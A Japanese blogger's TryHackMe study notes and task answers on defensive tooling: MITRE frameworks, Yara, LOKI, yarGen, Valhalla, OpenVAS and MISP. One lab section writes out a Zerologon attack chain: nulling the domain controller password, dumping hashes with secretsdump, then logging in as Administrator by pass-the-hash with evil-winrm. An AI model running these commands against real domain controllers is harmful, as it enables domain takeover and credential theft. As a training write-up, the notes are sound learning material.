あんたいとる

無駄の中に宝がある!

【TryHackMe】Threat and Vulnerability Management

Nessus

脆弱性スキャナー

MITRE

MITREの紹介

アメリカの非営利団体。政府が資金提供する研究開発センターを管理し、航空、防衛、ヘルスケア、国土安全保障、サイバーセキュリティなどの分野で研究を行っている。

サイバーセキュリティのために作成したプロジェクト/研究として以下がある。

ATT&CK

脆弱性を悪用した攻撃を戦術とテクニックの観点で分類したナレッジベースであり、サイバー攻撃の流れと手法を体系化したフレームワーク

CAR

ATT&CKに基づいてMITREによって開発された分析のナレッジベース。
ATT&CKのMitigation(緩和策)とDetection(検出)よりもさらに踏み込んだ分析を見つけるための追加リソース。

ENGAGE

MITRE Engageとは

MITRE Engageのホームページには、以下の説明がある。

MITRE Engage is a framework
for planning and discussing adversary engagement operations
that empowers you to engage your adversaries
and achieve your cybersecurity goals

直訳

MITER Engageはフレームワークです。
攻撃者のエンゲージメント作戦を計画・議論するための。
(フレームワークは)敵に立ち向かう力を与えてくれる。
そしてサイバーセキュリティの目標を達成する。

2行目の意味が分かりにくい。

adversary engagementとは

敵のサイバーオペレーションのコストを上げ、価値を下げるために、Cyber DenialとCyber Deceptionを組み合わせること。

Cyber DenialとCyber Deceptionとは
  • Cyber Denialは攻撃者の作戦実行を阻止すること。
  • Cyber Deceptionは攻撃者を欺くために意図的にアーティファクトを仕掛けること。
リソース

D3FEND

サイバーセキュリティ対策のナレッジグラフ。
ATT&CKに相対する関係となっており、攻撃の防御策をナレッジグラフという形で分類している。

ATT&CK Emulation Plans

CUID

サイバー脅威とそのTTPに関する調査を実施し、その調査を共有してサイバー防御を改善することを目的とした組織。

Center of Threat-Informed Defense

Adversary Emulation Library & ATT&CK Emulations Plans

攻撃者エミュレーションプランをブルー/レッドチーム向けに無料でリリースする公共ライブラリ。

Yara

Yaraはマルウェア解析に使われる。マルウェアの説明 (Yara ルール) を作成し、ファイルまたはプロセスをスキャンしてそれらが一致するかどうかを確認できるプログラム。

Task5 Introduction to Yara Rules

Yaraの使用方法

yaraコマンドを起動するには2つの引数が必要。

  1. 作成するルールファイル
  2. そのルールを使用するファイル名、ディレクトリ名またはプロセスID
# 例)"somedirectory"というディレクトリで "myrule.yar"というルールを使用する場合
$ yara myrule.yar somedirectory
Yaraルールファイルの形式
  • 拡張子は .yar
  • ルール名と条件(condition)を記載
# ルールファイルを作成
$ vim examplerule.yar
examplerule {
    condition: true  # 指定したファイル/ディレクトリ/PIDが存在するか
}

$ yara examplerule.yar testfile.txt  # testfile.txtが存在するか確認
examplerule testfile.txt        # testfile.txtが存在していた場合
error scanning textfile.txt: could not open file #存在していなかった場合

Task6 Expanding on Yara Rules

Yaraルールの条件について、ここ を参照。

ルールの条件部分に指定できる主なものについて以下に記載。 | 条件 | 説明 | | --- | --- | | meta | ルールに関するメタ情報を記述できるセクション。 | | strings | 検索したいワードを記述するセクション。 | | condition | "true" や "any of them"、演算子(<=,>=,!=など)を使って条件を記述するセクション。条件は and で組み合わせることができる。 |

チートシート

Task7 Yara Modules

Task8 Other tools and Yara

リソース

Task9 Using LOKI and its Yara rule set

LOKIとは

シンプルなIOCスキャナーで検出は次の4つの方法に基づいている。

  1. File Name IOC
  2. Yara Rule Check
  3. Hash Check
  4. C2 Back Connect Check
LOKIの実行

システムでLokiを最初に実行するときは --updateを実行。signature-baseディレクトリが更新される。

$ python loki.py --update
$ cd signature-base
$ ls 
iocs misc yara     # yaraディレクトリにyaraルールファイルがある

Lokiを実行するには、対象ファイルのあるディレクトリがカレントディレクトリとなっている状態で以下のコマンドを実行する。

python ~/tools/Loki/loki.py -p .
タスク9の解答
  1. file1ディレクトリへ移動後 lokiを実行し結果を確認する。
  2. 1の結果で確認できる。
  3. 1の結果で確認できる。
  4. 1の結果で確認できる。
  5. 1の結果で確認できる。
  6. yaraディレクトリにある thor-webshel​​ls.yarのルール名 webshell_metaslsoft を調べる。
  7. file2ディレクトリへ移動後、lokiを実行し結果を確認する。
  8. 1ndex.phpをlessで開き確認する。indexではなく1ndex(iの部分が数字の1になっているので注意)

Task10 Creating Yara rules with yarGen

yarGenとは

yarGen YARAルールのジェネレーター

yarGenの実行

システムでyarGenを最初に実行するときは --updateを実行。

$ python yarGen.py --update

対象のファイルに対するのYaraルールを生成するには以下のコマンドを実行。

$ python3 yarGen.py -m 対象ファイルのパス --excludegood -o 出力ファイル名
  # --excludegoodは正規の文字列を強制的に除外するオプション
yaraルールの生成とyarGenの使用に関する情報
タスク10の解答

以下のとおり確認。

# yarGenでルール作成
$ cd ~/tools/yarGen
python3 yarGen.py -m /home/cmnatic/suspicious-files/file2 --excludegood -o /home/cmnatic/suspicious-files/file2.yar
# 作成したファイル file2.yarを ~/tools/Loki/signature-base/yara配下にコピー
cp ~/suspicious-files/file2.yar ~/tools/Loki/signature-base/yara

# Lokiを実行
$ cd ~/suspicious-files/file2
$ python ~/tools/Loki/loki.py -p .
  1. yaraコマンドを使用する。ルール名はfile2.yar。
  2. Yay
  3. 解LokiLoki
  4. Yay
  5. 上記のLokiコマンドを実行した結果で確認できる。
  6. file2.yar内で stringsを検索すると分かる。

Valhalla

Valhallaのサーチ画面

タスク11の解答
  1. sha256sum コマンドでfile1のハッシュ値を調べてValhallaで検索。
  2. 1と同じ手順でValhallaで検索すると分かる。
  3. 2の検索結果画面で最初のルール名の行の右端にVT列のマークをクリックし確認する。
  4. VirusTatalでfile2のハッシュ値を検索
  5. 4の結果画面の「DETAILS」メニューを表示し、「Names」欄を確認。.php以外の拡張子を持つファイル情報が確認できる。
  6. 2のValhallaの検索結果画面で「Ref」列のマークからGitHubのページへ行き、index.phpの内容を見れば分かる。
  7. 2の検索結果からタイプはwebshellに関するルールと思われる。~/tools/Loki/signature-base/yaraの中で ファイル名にwebshellを含むファイルを対象に、"Webshell_b374k_rule1"ルールが含まれていないか確認。

Zero Logon

Task1 The Zero Day Angle

説明文をよんだが、よく理解できなかったが、以下のNRIセキュアブログを読んでなんとなく理解。
Zerologon(ゼロログオン)とは?脆弱性の仕組みとその対策を解説

Task2 Impacket Installation

スキップ

Task3 Task Proof of Concept

タスク3の解答
  1. タスク1の図3の最終ステップの部分を見れば分かる。
  2. NetrServerPasswordSet2で確認。
  3. 2と同じページで確認。
  4. 解答不要。

Task 4 Lab It Up!

タスク4の解答

以下のコマンドで確認。

$ nmap -sV -sC 10.10.x.x
$ python zerologon-NullPass.py dc01 10.10.x.x
$ impacket
$ cd example
$ python3.9 secretsdump.py -just-dc -no-pass dc01\$@10.10.x.x
$ evil-winrm -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568 -i 10.10.x.x
  1. nmapの結果で確認できる。
  2. nmapの結果で確認できる。
  3. nmapの結果で確認できる。
  4. zeroLogon-NullPassでパスワードをNULLに変更した後、secretsdump.pyを実行し、その結果で確認できる(注意:Attackboxで実行するときは python3.9で実行しないとエラーになった)
  5. secretsdump.py の結果で a- で始まるユーザを確認する。
  6. evil-winrmを実行するとターゲットIPにAdministratorで接続できるので、Desktopのフラグを確認する。

OpenVAS

OpenVASとは

エンドポイントとWebアプリケーションをスキャンして脆弱性を特定及び検出するために使用されるアプリケーション。

タスク7の解答

タスクファイルをダウンロードしてレポートを確認すれば全問できる。

MISP

MISPとは

マルウェアサイバー攻撃、金融詐欺、または信頼できるコミュニティ内のあらゆるインテリジェンスに関する脅威インテリジェンスとIOC(Indicators of Compromise)の収集、保存、配布を促進するGオープンソースの脅威情報プラットホーム。

タスク3の解答
  1. タスク3の説明文「Event Creation」欄に記載されている。
  2. タスク3の説明文「Publish Event」欄に記載されている。
タスク5の解答
  1. [Event Action]→[List Event]を選択し、[PupyRAT]で表示をFilterするとPupyRATを含むイベントの詳細画面が表示されるので、その画面で確認。
  2. RATが何の略か調べれば分かる。
  3. 1の画面で「PupyRAT command and control server」を検索すれば分かる。
  4. 1の画面で「Intrusion Set」を検索すれば分かる。
  5. 1の画面で「Tags」欄を確認すれば分かる。
リソース